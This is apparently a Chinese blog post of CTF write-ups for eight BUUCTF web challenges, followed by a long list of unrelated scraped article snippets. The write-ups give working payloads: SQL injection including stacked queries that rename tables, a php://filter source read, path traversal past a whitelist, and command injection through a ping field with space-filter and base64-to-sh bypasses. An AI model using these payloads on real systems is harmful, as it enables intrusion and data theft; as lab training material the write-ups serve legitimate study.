ruibn

刷题 - BUUCTF(BUUOJ) - WEB - DAY3

目录

BUUCTF WEB
- （一）[极客大挑战 2019]EasySQL
- - 题目地址
  - 解题思路
- （二）[极客大挑战 2019]Havefun
- - 题目地址
  - 解题思路
- （三）[HCTF 2018]WarmUp
- - 题目地址
  - 解题思路
- （四）[ACTF2020 新生赛]Include
- - 题目地址
  - 解题思路
- （五）[ACTF2020 新生赛]Exec
- - 题目地址
  - 解题思路
- （六）[GXYCTF2019]Ping Ping Ping
- - 题目地址
  - 解题思路
- （七）[强网杯 2019]随便注
- - 题目地址
  - 解题思路
- （八）[SUCTF 2019]EasySQL
- - 题目地址
  - 解题思路

BUUCTF WEB

（一）[极客大挑战 2019]EasySQL

题目地址

[极客大挑战 2019]EasySQL

解题思路

由题目猜测和SQL注入有关
靶机打开界面如下，猜测会把用户名和密码输出作为sql语句的搜索变量
查看网页源码，发现请求方法是get，并且前端没有对输入进行校验

head>
<body background="./image/background.jpg" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" >
        <form action="check.php" method="GET">
                <div>
                        br>br>br>br>
                        <p style="font-family:arial;color:white;font-size:20px;text-align:center;font-family:KaiTi;">我是cl4y，是一个WEB开发程序员，最近我做了一个网站，快来看看它有多精湛叭！p>
                        br>br>br>br>br>br>br>
                        <p style="font-family:arial;color:white;font-size:20px;text-align:center;">用户名：p>
                        <div align="center"><input type="text" name="username" style="text-align:center;" class="input" />div>

                        <p style="font-family:arial;color:white;font-size:20px;text-align:center;">密  码：p>
                        <div align="center"><input type="text" name="password" style="text-align:center;" class="input" />div>

                        <div align="center">
                                <input type="submit" value="登录" class="slickButton3">
                        div>
                div>
        form>

        <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4yp>div>
        
body>
html>

尝试使用万能密码绕过验证，利用sql语句里的or和注释，使查询通过
通过，拿到flag

（二）[极客大挑战 2019]Havefun

题目地址

[极客大挑战 2019]Havefun

解题思路

靶机打开界面如下，没有要求输入信息。因此直接查看源代码，发现一段可疑注释

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

提到了GET请求，其中参数‘cat’如果等于‘dog’，会输出‘Syc{cat_cat_cat_cat}’，于是在地址栏尝试增加请求参数cat=dog
出现flag

（三）[HCTF 2018]WarmUp

题目地址

[HCTF 2018]WarmUp

解题思路

查看网页源码，发现source.php文件

查看source.php，得到如下源码，分析逻辑，$_REQUEST[‘file’]对应的值在?前的文件应该在白名单中，猜测是白名单的另一个文件hint.php，同时单独查看hint.php，其指示了flag在ffffllllaaaagggg

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";
    }  
?>

结合以上信息，逐级遍历ffffllllaaaagggg目录，在第5级父目录找到ffffllllaaaagggg文件，得到flag

（四）[ACTF2020 新生赛]Include

题目地址

[ACTF2020 新生赛]Include

解题思路

打开靶机，点击tips，跳转到打开界面为一个php页面，无法查看源码
考虑到使用伪协议通过base64转码（php://filter/read=convert.base64-encode/resource=flag.php）来查看源码，此协议是指通过base64加密的方式读取对象为flag.php的本地文件
base64解码后出现flag，所以flag藏在php源码中

（五）[ACTF2020 新生赛]Exec

题目地址

[ACTF2020 新生赛]Exec

解题思路

打开靶机，查看源码没有发现，结合题目，猜测使用了php的exec函数，考虑RCE
输入1.1.1.1 ; ls （一个有效IP加上管道）试一试，得到响应如下，确认可以执行远程命令
输入1.1.1.1 ; ls / 在服务器根目录找到flag文件，查看得到flag
1.1.1.1 ; cat /flag 得到flag

（六）[GXYCTF2019]Ping Ping Ping

题目地址

[GXYCTF2019]Ping Ping Ping

解题思路

打开靶机，查看源码没有发现，结合页面提示，猜测可以在地址栏传参ip
地址栏传参1.1.1.1 ; ls （一个有效IP加上管道）试一试，得到响应如下，确认可以执行远程命令
输入1.1.1.1 ; cat flag.php 查看失败，尝试绕过/?ip=1.1.1.1;cat$IFS$6flag.php空格替换依旧失败
转向index.php，用 /?ip=1.1.1.1;cat$IFS$6index.php 得到index源码，此处需要绕过空格替换
根据index代码分析，至少有三个方法可以实现绕过匹配，在源代码中找到flag，1）把flag拆开构造payload；2）使用``内联管道；3）使用编码绕过e.g. base64
方法一：/?ip=1.1.1.1;temp=lag;cat$IFS $6 f$ temp.php；方法二：/?ip=1.1.1.1;cat$IFS $6‘ l s ‘ ；方法三： / ? i p = 1.1.1.1; Y 2 F 0 I GZ s YW c u c G h w ∣ ba se 64$ IFS$6-d|sh

（七）[强网杯 2019]随便注

题目地址

[强网杯 2019]随便注

解题思路

打开靶机，查看源码只提到sqlmap，没有其他发现，结合题目提示，猜测用SQL注入
先尝试手注，用1’#和1’对比，发现sql是以单引号闭合

1'#

1'

尝试union select看回显，发现select被禁，无法使用联合查询

1' union select 1

4. 尝试堆叠注入查看数据库1’;show databases;#，查看回显，成功注入

1';show databases;#

查看表，发现有两个，分别查看

1';show tables;#

1'; show columns from `1919810931114514`;#

1'; show columns from `words`;#

6. 看到flag存在表格1919810931114514中，然而words的id和data像是回显部分，猜测程序的sql语句使用的是表格words，因此需要把1919810931114514表格名字改为words，再把flag属性名改成id，之前需要把原来的words表名换一个名字

1'; rename table `words` to `wordsbak`; rename table `1919810931114514` to `words`; alter table words change flag id varchar(100); show tables;#

用万能sql语句查询，得到答案

1' or 1=1 #

（八）[SUCTF 2019]EasySQL

题目地址

[SUCTF 2019]EasySQL

解题思路

打开靶机如下，猜测是sql注入
尝试了字母和数字，最终发现只有非零数字有如下回显，猜测查询语句包含||
尝试#，1||1=1#万能绕过没有反应，尝试堆叠注入有得到进一步回显
但是用1;select * from Flag;失败，于是尝试用命令set sql_mode=pipes_as_concat把||转换成concat，使用1;set sql_mode=pipes_as_concat;select 1得到flag，相当于select 1 || column from Flag = select concat(1,column) from Flag

你可能感兴趣的:(ctf,buuctf,web,sql,bug,web安全,php)

WebServices应用集成框架ESB(Enterprise Service Bus 企业服务总线) songyuhong 技术 service 框架 webservice jboss web服务中间件
给大家介绍一个好东东，在进行系统间集成时经常利用WebService,但是从建立WebService和调用的重复性和维护性的工作量都相当大，所以接下来我将宴请大家干看不吃一顿丰盛的WebService应用框架技术大餐。首先简单介绍一下，ESB全称为EnterpriseServiceBus，即企业服务总线。它是传统中间件技术与XML、Web服务等技术结合的产物。ESB提供了网络中最基本的连接中枢，是
【MySQL】探索 MySQL 中的 NVL：使用 IFNULL 和 COALESCE 实现音乐学家方大刚 MySQL mysql android 数据库
缘分让我们相遇乱世以外命运却要我们危难中相爱也许未来遥远在光年之外我愿守候未知里为你等待我没想到为了你我能疯狂到山崩海啸没有你根本不想逃我的大脑为了你已经疯狂到脉搏心跳没有你根本不重要邓紫棋《光年之外》什么是NVL？NVL是SQL中常用的一个函数，最早出现在Oracle数据库中，用于替换NULL值。具体来说，NVL函数接受两个参数，如果第一个参数为NULL，则返回第二个参数；否则，返回第一个参数。
Three.js + GIS：打造三维地理信息系统的教程全栈探索者chen threeJS javascript 开发语言 ecmascript 学习 three.js 前端 3d
Three.js+GIS：打造三维地理信息系统的教程Three.js是构建WebGL3D应用的强大工具，而结合GIS（地理信息系统）后，可以实现炫酷的三维地理可视化效果。本教程将从基础入手，教你如何用Three.js打造一个简单的三维GIS应用。一、项目规划1.目标功能我们希望实现以下功能：加载三维地图：加载全球地图或指定区域。添加三维数据：在地图上展示建筑、标注等3D数据。交互功能：用户可以缩放
核弹级0day深信服运维安全管理系统（堡垒机）存在信息泄露漏洞 SDASDASD111asd 0day 安全运维网络 web安全安全架构
0x01产品概述深信服运维安全管理系统侧重于运维安全管理，集账号管理、身份认证、单点登录、资源授权、访问控制和操作审计为一体，能够对IT资产(如服务器、网络设备、安全设备、数据库等)的操作过程进行有效的运维操作审计，使运维审计由事件审计提升为操作内容审计，通过事前预防、事中控制和事后审计的能力全面解决运维安全问题，进而提高IT运维管理水平。0x02漏洞概述0x03漏洞描述漏洞为Web站点的网络安全
如何在React中处理表单输入？ JJCTO袁龙 react react.js javascript 前端
如何在React中处理表单输入？在现代Web开发中，表单是与用户交互的核心部分。对于今天的开发者来说，React提供了一种高效且灵活的方式来处理表单输入。本文将通过一系列示例，展示如何在React中进行表单输入处理，以及在这个过程中需要注意的关键点。1.理解ControlledComponents和UncontrolledComponents在React中，表单元素有两种主要的处理方式：受控组件(
C#中使用FreeSql进行数据库操作，并在WPF的MVVM模式下使用 ysdysyn c#数据库 wpf
在java转C#WPF上位机，MVVM过程中，遇到数据库的问题，经过简单的学习FreeSql语法糖，进行一下简单的封装及使用。我们在C#项目中实现FreeSql技术，首先在我们需要在使用语法糖所在的文件下点击依懒性>管理NuGet程序包，搜索FreeSql并进行下载：在appsettings.json配置文件中输入数据库连接配置，如果没有可在文件夹下自行创建，这里的连接的数据库是MYSQL和SQL
【漏洞复现】广联达 Linkworks OA ArchiveWebService XML实体注入漏洞 0x0000001 漏洞复现 xml 网络安全 web安全渗透测试网络安全
免责声明：本文旨在提供有关特定漏洞的信息，以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步，并非出于恶意。读者应理解，利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严重后果。作者对读者基于本文内容的行为不承担责任。读者在使用信息时必须遵守适用法律法规和服务协议，独自承担所有风险和责任。如有侵权，请联系删除。漏洞描述广联达L
python 导出mysql 视图_python脚本-导出MySQL数据到excel weixin_39568781 python 导出mysql 视图
#!/usr/bin/envpython#coding=utf8importxlwtimportMySQLdbimportdatetimehost='localhost'user='scott'passwd='oracle'db='test'port=3307unix_socket='/data/mysql3307/tmp/3307.sock'sql_exec_30='select*fromtes
web3.0入门及学习路径吗喽一只 web3 学习
Web3是指下一代互联网的演进形式，它涉及一系列技术和理念，旨在实现去中心化、开放、透明和用户主导的互联网体验。Web3的目标是赋予用户更多的控制权和数据所有权，并通过区块链、加密货币和分布式技术来实现。一、特点去中心化：Web3建立在区块链技术之上，通过使用分布式网络去除传统互联网中的中心化权威机构，实现数据和应用的去中心化。这种结构提高了安全性，减少了单点故障的风险，并增加了抗审查性。加密货币
想要在web3工作，这份web3学习路线图必不可少 Ray Change web3 学习
想要在web3工作，这份web3学习路线图必不可少欢迎踏上Web3学习之旅！Web3——去中心化互联网的新纪元正以前所未有的速度席卷全球。作为前瞻视野的你，是否渴望掌握这一颠覆性技术，跻身引领行业变革的精英行列？希望这份路线图可以帮助到你。推荐Web3Roadmap：Web3学习路线图-登链社区阶段一：Web3基础知识与区块链原理目标：理解Web3与区块链的基本概念、发展历程与价值主张。掌握区块链
阿里云服务器使用Docker部署项目程子豪.java 阿里云服务器 docker
省略安装docker的步骤1.idea中打.jar包2.使用FinalShell连接工具连接阿里云服务器，并将jar包上传到root目录下2.1创建Dockerfile文件并对其进行编辑vimDockerfile2.2将下面命令复制cv进去#java:8为基础镜像，来构建此镜像，可以理解为运行的需要基础环境 FROMjava:8#将当前officical-website.jar复制到容器根目录下#
推荐项目：SchemaGlue —— 解锁GraphQL架构新维度井队湛Heath
推荐项目：SchemaGlue——解锁GraphQL架构新维度schemaglueNaturallybreaksdownyourmonolithicgraphqlschemaintobitsandpiecesandthengluethembacktogether.项目地址:https://gitcode.com/gh_mirrors/sc/schemaglue在现代的Web开发中，随着数据需求的日
简述web3.0前端开发的最简单三个步骤飞机号Mrsfu223 web3 区块链 python java 开发语言
Web3.0是互联网的下一代前沿技术，包括人工智能，大数据和区块链都是这项技术的核心，Web3.0为用户提供了更为智能的互联网服务体验，该技术的核心要素为去中心化，也就是摆脱中心化的权力控制，能够让数据和各项交易通过网络里的各项节点来维护和验证，并不是通过中心化的机构或服务器控制各项节点，Web3有车有中心化，有户权益性，去信任化，互操作性这些特点，可以拥有更大的操作空间和可能性。去中心化是基于区
qnx efs文件系统binary修复 MengXP qnx efs
从spiflash从dump了qnx的固件。进一步提取出efs文件系统但是使用qnxdumpefs命令导出文件系统时发现结构体异常。谷歌到了类似问题患者http://www.openqnx.com/phpbbforum/viewtopic.php?t=3620H[01]L[FFFF]P[00].status=EE8E(WRITE|NO_NEXT|NO_SUPER|NO_SPLIT|BAD|LAST
智慧城市的脉搏——Nginx驱动智能交通系统的高级路径优化实践墨夶 Nginx学习资料2 智慧城市 nginx 人工智能
在城市化进程不断加速的今天，交通拥堵已经成为制约城市发展的重要瓶颈之一。如何有效利用信息技术提升道路通行能力、减少交通事故发生率成为了亟待解决的问题。作为一款高性能的Web服务器和反向代理工具，Nginx凭借其卓越的数据处理能力和灵活配置选项，在智能交通管理系统（ITS）中扮演着不可或缺的角色。本文将深入探讨Nginx是如何通过一系列创新优化技术，在智能交通管理系统的实际部署中发挥重要作用，并分享
Web-3.0学习路线奶龙牛牛 web3
方向学习内容✅区块链基础区块链、智能合约、共识机制✅智能合约Solidity/Rust（Ethereum/Solana）✅前端React.js,Next.js,Web3.js,ethers.js✅后端Node.js,Python,Golang（链上数据）✅存储IPFS,Arweave,Filecoin（去中心化存储）✅交互MetaMask,WalletConnect（钱包）如果你是前端开发Reac
MySQL 函数 wjs2024 开发语言
MySQL函数MySQL函数是数据库操作中不可或缺的一部分，它们能够帮助开发者高效地处理数据。本文将详细介绍MySQL中常用的函数，包括聚合函数、字符串函数、日期和时间函数、数学函数等，旨在帮助读者全面了解和掌握MySQL函数的使用。聚合函数聚合函数用于对数据库中的数据进行计算，并返回单个值。以下是几种常见的聚合函数：1.COUNT()COUNT()函数用于统计指定列中非空值的数量。SELECTC
JavaSE笔记总结火车驶向云外.11 java 开发语言
一、Java简介1、三大平台JavaSE：Java标准版，用于桌面应用开发，为今后从事JavaEE开发打基础（C语言和C++语言占有优势）。JavaME：小型版的Java语言，用于嵌入式电子设备或者小型移动设备。JavaEE：企业版，web方向的网站开发和服务器开发，这个领域Java第一。2、Java能做什么？桌面应用开发企业级应用开发移动应用开发科学计算大数据开发游戏开发3、Java的特性面向对
.NET/C#大型项目研发必备(5)--Web服务/WebApi的负载均衡 DeveloperSharp 负载均衡负载均衡器 web api 微服务
前言：本系列文章适合有初/中级.NET知识的同学阅读。（1）本系列文章，旨在讲述研发一个中大型项目所需要了解的一系列“基本构件”，并提供这些“基本构件”的【最简单】、【最快速】使用方法！！（并不深究技术原理）（2）通过阅读本系列文章，能让你在正规“项目研发”方面快速入门+进阶，并能达成“小团队构建大网站”的目的。（3）本系列文章采用的技术，已成功应用到人工智能、产业互联网、社区电商、游戏、金融风控
PCB行业龙头企业*IoTDB | 利用 IoTDB 替换HBase，打破查询功能局限性 Apache IoTDB 用户案例数据库大数据人工智能数据分析 java
某PCB行业国内龙头上市企业主营印制线路板(PCB)生产、加工业务。其中，时序数据主要产生于生产设备采集的运行参数（温度、压力等）和检验设备采集的产品批次信息。在原有解决方案存在局限性的情况下，基于IoTDB时序数据库的特点和优势，该公司选择使用IoTDB作为其生产与质量分析系统的时序数据处理方案。使用此方案将有效提高存储与查询维度的性能。1业务需求痛点1.1查询无法支持SQL语言时序数据的查询功
.Net Web API 访问权限限定哦里哦里哦里给 c#开发语言 c#
看到一个代码是这样的：c#webapi上[Route("api/admin/file-service"),AuthorizeAdmin]AuthorizeAdmin的定义是这样的publicclassAuthorizeAdminAttribute:AuthorizeAttribute{publicAuthorizeAdminAttribute(){Roles="admin";}}这个Authori
【论文投稿-第八届智能制造与自动化学术会议（IMA 2025）】HTML, CSS, JavaScript：三者的联系与区别禁默学术会议前端 html css javascript 自动化制造
大会官网：www.icamima.org目录前言一、HTML（超文本标记语言）：网页的骨架HTML的作用：例子：总结：二、CSS（层叠样式表）：网页的外观设计CSS的作用：例子：总结：三、JavaScript：网页的行为和互动JavaScript的作用：例子：总结：四、HTML、CSS和JavaScript的联系与区别1.联系2.区别五、总结前言在现代Web开发中，HTML、CSS和JavaScr
docker-compose kafka安装及外部访问不到kafka问题 1010739073 Docker kafka docker
文章目录一、docker-compose.yml二、kafkamanager/kafka-manager连接zookeeper三、PHP生产者、消费者连接总结一、docker-compose.ymlversion:'3'services:zookeeper:image:bitnami/zookeepercontainer_name:zoorestart:alwaysports:-8181:2181
Web性能优化-详细讲解与实用方法-MDN文档学习笔记 LoveEmiliaForever MDN前端入门文档前端性能优化学习笔记
Web性能优化查看更多学习笔记：GitHub：LoveEmiliaForeverMDN中文官网性能优良的网站能够提高访问者留存和用户满意度，减少客户端和服务器之间传输的数据量可降低各方的成本不同的业务目标和用户需求需要不同的性能度量，要提高网站性能，你需要了解用户体验、加载和渲染性能，以及如何将性能度量与业务指标结合起来什么是Web性能减少总体负载时间一般策略是使文件尽可能小，尽可能减少HTTP请
Oracle PL/SQL 编程入门：第十八章批处理 SQL caifox菜狐狸 Oracle PL/SQL 编程入门 oracle sql 数据库批处理 FORALL FETCH Loop
欢迎来到OraclePL/SQL编程入门的第十八章！在这一章中，我们将深入探讨批处理SQL。通过学习FORALL语句、批处理集合以及如何在SQL中绑定集合，你将能够编写更加高效和强大的数据库操作代码。此外，我们还会介绍一些注意事项，并通过实际例子展示它们的用法。准备好迎接新的挑战了吗？让我们开始吧！第一节：FORALL语句FORALL语句用于批量执行DML（数据操作语言）语句，如INSERT、UP
MySQL数据库——事务和索引_龍弟idea 字节全栈_vBr 数据库 mysql intellij-idea
索引的分类：索引准则:索引的数据结构：一、事务：事务是逻辑上的一组操作，要么都成功，要么都失败！——————————————————————————————————1、SQL执行A:1000元——>转账200元B：200元2、SQL执行A:800元——>B:400元——————————————————————————————————将一组SQL放在一个批次中执行事务四大特性：ACID原则1.原子性
群晖NAS部署Postgresql 邓南遮 postgresql 数据库
1.容器安装安装postgres镜像参考：群晖DS218+上轻松部署PostgreSQL数据库2.镜像设置镜像的对外端口不要用webstastion的默认端口5432，因为NAS自身已经占用了该端口，于是选择随便一个相似或方便记忆的端口。参考：在群晖上搭建基于PostgreSQL的JoplinServer_NAS存储_什么值得买设置完成运行会出现如下错误：意思是说，密码为空就无法登录，需要在设置-
mybatis的mapper动态代理开发，mapper引入的2种方式打豆豆。 mybatis mapper代理 mybatis动态代理开发
mybatis-config.xml主配置文件中，mapper引入的两种方式：①通过xml路径②通过mapper接口的class路径-->使用mapper代理开发，注意namespace：和dao中UserDao对象一致；1，session获取userdao.class对象2，加载mapper.xml3，获取sql的statement4，statement把sql执行结果映射到结果集（User类，
群晖web文件服务器docker,群晖docker搭建数据库服务器 Kuchiki Touko
群晖docker搭建数据库服务器内容精选换一换本手册基于华为云关系型数据库实践所编写，用于指导您完成相关设置，购买更符合业务的数据库实例。创建一个外部服务器。外部服务器是存储OBS服务器信息或其他同构集群信息的载体。默认只有系统管理员才可以创建外部服务器，否则需要对所使用的FOREIGNDATAWRAPPER授权才可以创建，授权语法为：其中fdw_name为FOREIGNDATAWRAPPER的名
CentOS7编译安装MySQL5.7之后安装mysql-devel出错解决方案荆州克莱面试题汇总与解析 spring cloud spring boot spring 技术 css3
参考:https://my.oschina.net/liuyuantao/blog/746537由于我的MySQL是自己编译安装，但是安装之后/etc/yum.repos.d/目录下并没有MySQL的源，导致我在安装mysql-devel出错。缺少MySQL的源：[root@localhostliuyuantao]#cd/etc/yum.repos.d/[[email protected]
PHP，安卓，UI，java，linux视频教程合集 cocos2d-x小菜 java UI linux PHP android
╔-----------------------------------╗┆
zookeeper admin 笔记 braveCS zookeeper
Required Software 1) JDK>=1.6 2)推荐使用ensemble的ZooKeeper(至少3台)，并run on separate machines 3)在Yahoo!，zk配置在特定的RHEL boxes里，2个cpu，2G内存，80G硬盘数据和日志目录 1)数据目录里的文件是zk节点的持久化备份，包括快照和事务日
Spring配置多个连接池 easterfly spring
项目中需要同时连接多个数据库的时候，如何才能在需要用到哪个数据库就连接哪个数据库呢？ Spring中有关于dataSource的配置： <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" &nb
Mysql 171815164 mysql
例如，你想myuser使用mypassword从任何主机连接到mysql服务器的话。 GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%'IDENTIFIED BY 'mypassword' WI TH GRANT OPTION; 如果你想允许用户myuser从ip为192.168.1.6的主机连接到mysql服务器，并使用mypassword作
CommonDAO（公共/基础DAO） g21121 DAO
好久没有更新博客了，最近一段时间工作比较忙，所以请见谅，无论你是爱看呢还是爱看呢还是爱看呢，总之或许对你有些帮助。 DAO(Data Access Object)是一个数据访问（顾名思义就是与数据库打交道）接口，DAO一般在业
直言有讳永夜-极光感悟随笔
1.转载地址:http://blog.csdn.net/jasonblog/article/details/10813313 精华: “直言有讳”是阿里巴巴提倡的一种观念，而我在此之前并没有很深刻的认识。为什么呢？就好比是读书时候做阅读理解，我喜欢我自己的解读，并不喜欢老师给的意思。在这里也是。我自己坚持的原则是互相尊重，我觉得阿里巴巴很多价值观其实是基本的做人
安装CentOS 7 和Win 7后，Win7 引导丢失随便小屋 centos
一般安装双系统的顺序是先装Win7，然后在安装CentOS，这样CentOS可以引导WIN 7启动。但安装CentOS7后，却找不到Win7 的引导，稍微修改一点东西即可。一、首先具有root 的权限。即进入Terminal后输入命令su，然后输入密码即可二、利用vim编辑器打开/boot/grub2/grub.cfg文件进行修改 v
Oracle备份与恢复案例 aijuans oracle
Oracle备份与恢复案例一. 理解什么是数据库恢复当我们使用一个数据库时，总希望数据库的内容是可靠的、正确的，但由于计算机系统的故障（硬件故障、软件故障、网络故障、进程故障和系统故障）影响数据库系统的操作，影响数据库中数据的正确性，甚至破坏数据库，使数据库中全部或部分数据丢失。因此当发生上述故障后，希望能重构这个完整的数据库，该处理称为数据库恢复。恢复过程大致可以分为复原(Restore)与
JavaEE开源快速开发平台G4Studio v5.0发布無為子
我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V5.0版本已经正式发布。访问G4Studio网站 http://www.g4it.org 2013-04-06 发布G4Studio_V5.0版本功能新增 (1). 新增了调用Oracle存储过程返回游标，并将游标映射为Java List集合对象的标
Oracle显示根据高考分数模拟录取百合不是茶 PL/SQL编程 oracle例子模拟高考录取学习交流
题目要求: 1,创建student表和result表 2,pl/sql对学生的成绩数据进行处理 3,处理的逻辑是根据每门专业课的最低分线和总分的最低分数线自动的将录取和落选 1,创建student表,和result表学生信息表; create table student( student_id number primary key,--学生id
优秀的领导与差劲的领导 bijian1013 领导管理团队
责任优秀的领导：优秀的领导总是对他所负责的项目担负起责任。如果项目不幸失败了，那么他知道该受责备的人是他自己，并且敢于承认错误。差劲的领导：差劲的领导觉得这不是他的问题，因此他会想方设法证明是他的团队不行，或是将责任归咎于团队中他不喜欢的那几个成员身上。努力工作优秀的领导：团队领导应该是团队成员的榜样。至少，他应该与团队中的其他成员一样努力工作。这仅仅因为他
js函数在浏览器下的兼容 Bill_chen jquery 浏览器 IE DWR ext
做前端开发的工程师，少不了要用FF进行测试，纯js函数在不同浏览器下，名称也可能不同。对于IE6和FF，取得下一结点的函数就不尽相同： IE6：node.nextSibling,对于FF是不能识别的； FF：node.nextElementSibling,对于IE是不能识别的；兼容解决方式：var Div = node.nextSibl
【JVM四】老年代垃圾回收：吞吐量垃圾收集器(Throughput GC) bit1129 垃圾回收
吞吐量与用户线程暂停时间衡量垃圾回收算法优劣的指标有两个：吞吐量越高，则算法越好暂停时间越短，则算法越好首先说明吞吐量和暂停时间的含义。垃圾回收时，JVM会启动几个特定的GC线程来完成垃圾回收的任务，这些GC线程与应用的用户线程产生竞争关系，共同竞争处理器资源以及CPU的执行时间。GC线程不会对用户带来的任何价值，因此，好的GC应该占
J2EE监听器和过滤器基础白糖_ J2EE
Servlet程序由Servlet，Filter和Listener组成，其中监听器用来监听Servlet容器上下文。监听器通常分三类：基于Servlet上下文的ServletContex监听，基于会话的HttpSession监听和基于请求的ServletRequest监听。 ServletContex监听器 ServletContex又叫application
博弈AngularJS讲义(16) - 提供者 boyitech js AngularJS api Angular Provider
Angular框架提供了强大的依赖注入机制，这一切都是有注入器(injector)完成. 注入器会自动实例化服务组件和符合Angular API规则的特殊对象，例如控制器，指令，过滤器动画等。那注入器怎么知道如何去创建这些特殊的对象呢？ Angular提供了5种方式让注入器创建对象，其中最基础的方式就是提供者(provider), 其余四种方式(Value, Fac
java-写一函数f(a,b)，它带有两个字符串参数并返回一串字符，该字符串只包含在两个串中都有的并按照在a中的顺序。 bylijinnan java
public class CommonSubSequence { /** * 题目：写一函数f(a,b)，它带有两个字符串参数并返回一串字符，该字符串只包含在两个串中都有的并按照在a中的顺序。 * 写一个版本算法复杂度O(N^2)和一个O(N) 。 * * O(N^2)：对于a中的每个字符，遍历b中的每个字符，如果相同，则拷贝到新字符串中。 * O(
sqlserver 2000 无法验证产品密钥 Chen.H sql windows SQL Server Microsoft
在 Service Pack 4 (SP 4), 是运行 Microsoft Windows Server 2003、 Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 服务器上您尝试安装 Microsoft SQL Server 2000 通过卷许可协议 (VLA) 媒体。这样做, 收到以下错误信息CD KEY的 SQ
[新概念武器]气象战争 comsci
气象战争的发动者必须是拥有发射深空航天器能力的国家或者组织.... 原因如下: 地球上的气候变化和大气层中的云层涡旋场有密切的关系,而维持一个在大气层某个层次
oracle 中 rollup、cube、grouping 使用详解 daizj oracle grouping rollup cube
oracle 中 rollup、cube、grouping 使用详解 -- 使用oracle 样例表演示转自namesliu -- 使用oracle 的样列库，演示 rollup, cube, grouping 的用法与使用场景 --- ROLLUP ，为了理解分组的成员数量，我增加了分组的计数 COUNT(SAL)
技术资料汇总分享 Dead_knight 技术资料汇总分享
本人汇总的技术资料，分享出来，希望对大家有用。 http://pan.baidu.com/s/1jGr56uE 资料主要包含： Workflow->工作流相关理论、框架(OSWorkflow、JBPM、Activiti、fireflow...) Security->java安全相关资料(SSL、SSO、SpringSecurity、Shiro、JAAS...) Ser
初一下学期难记忆单词背诵第一课 dcj3sjt126com english word
could 能够 minute 分钟 Tuesday 星期二 February 二月 eighteenth 第十八 listen 听 careful 小心的，仔细的 short 短的 heavy 重的 empty 空的 certainly 当然 carry 携带；搬运 tape 磁带 basket 蓝子 bottle 瓶 juice 汁，果汁 head 头；头部
截取视图的图片, 然后分享出去 dcj3sjt126com OS Objective-C
OS 7 has a new method that allows you to draw a view hierarchy into the current graphics context. This can be used to get an UIImage very fast. I implemented a category method on UIView to get the vi
MySql重置密码 fanxiaolong MySql重置密码
方法一: 在my.ini的[mysqld]字段加入： skip-grant-tables 重启mysql服务，这时的mysql不需要密码即可登录数据库然后进入mysql mysql>use mysql; mysql>更新 user set password=password('新密码') WHERE User='root'; mysq
Ehcache（03）——Ehcache中储存缓存的方式 234390216 ehcache MemoryStore DiskStore 存储驱除策略
Ehcache中储存缓存的方式目录 1 堆内存（MemoryStore） 1.1 指定可用内存 1.2 驱除策略 1.3 元素过期 2 &nbs
spring mvc中的@propertysource jackyrong spring mvc
在spring mvc中，在配置文件中的东西，可以在java代码中通过注解进行读取了： @PropertySource 在spring 3.1中开始引入比如有配置文件 config.properties mongodb.url=1.2.3.4 mongodb.db=hello 则代码中 @PropertySource(&
重学单例模式 lanqiu17 单例 Singleton 模式
最近在重新学习设计模式，感觉对模式理解更加深刻。觉得有必要记下来。第一个学的就是单例模式，单例模式估计是最好理解的模式了。它的作用就是防止外部创建实例，保证只有一个实例。单例模式的常用实现方式有两种，就人们熟知的饱汉式与饥汉式，具体就不多说了。这里说下其他的实现方式静态内部类方式: package test.pattern.singleton.statics; publ
.NET开源核心运行时，且行且珍惜 netcome java .net 开源
背景 2014年11月12日，ASP.NET之父、微软云计算与企业级产品工程部执行副总裁Scott Guthrie，在Connect全球开发者在线会议上宣布，微软将开源全部.NET核心运行时，并将.NET 扩展为可在 Linux 和 Mac OS 平台上运行。.NET核心运行时将基于MIT开源许可协议发布，其中将包括执行.NET代码所需的一切项目——CLR、JIT编译器、垃圾收集器（GC）和核心
使用oscahe缓存技术减少与数据库的频繁交互 Everyday都不同 Web 高并发 oscahe缓存
此前一直不知道缓存的具体实现，只知道是把数据存储在内存中，以便下次直接从内存中读取。对于缓存的使用也没有概念，觉得缓存技术是一个比较”神秘陌生“的领域。但最近要用到缓存技术，发现还是很有必要一探究竟的。缓存技术使用背景：一般来说，对于web项目，如果我们要什么数据直接jdbc查库好了，但是在遇到高并发的情形下，不可能每一次都是去查数据库，因为这样在高并发的情形下显得不太合理——
Spring+Mybatis 手动控制事务 toknowme mybatis
@Override public boolean testDelete(String jobCode) throws Exception { boolean flag = false; &nbs
菜鸟级的android程序员面试时候需要掌握的知识点 xp9802 android
熟悉Android开发架构和API调用掌握APP适应不同型号手机屏幕开发技巧熟悉Android下的数据存储熟练Android Debug Bridge Tool 熟练Eclipse/ADT及相关工具熟悉Android框架原理及Activity生命周期熟练进行Android UI布局熟练使用SQLite数据库；熟悉Android下网络通信机制，S

按字母分类： A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他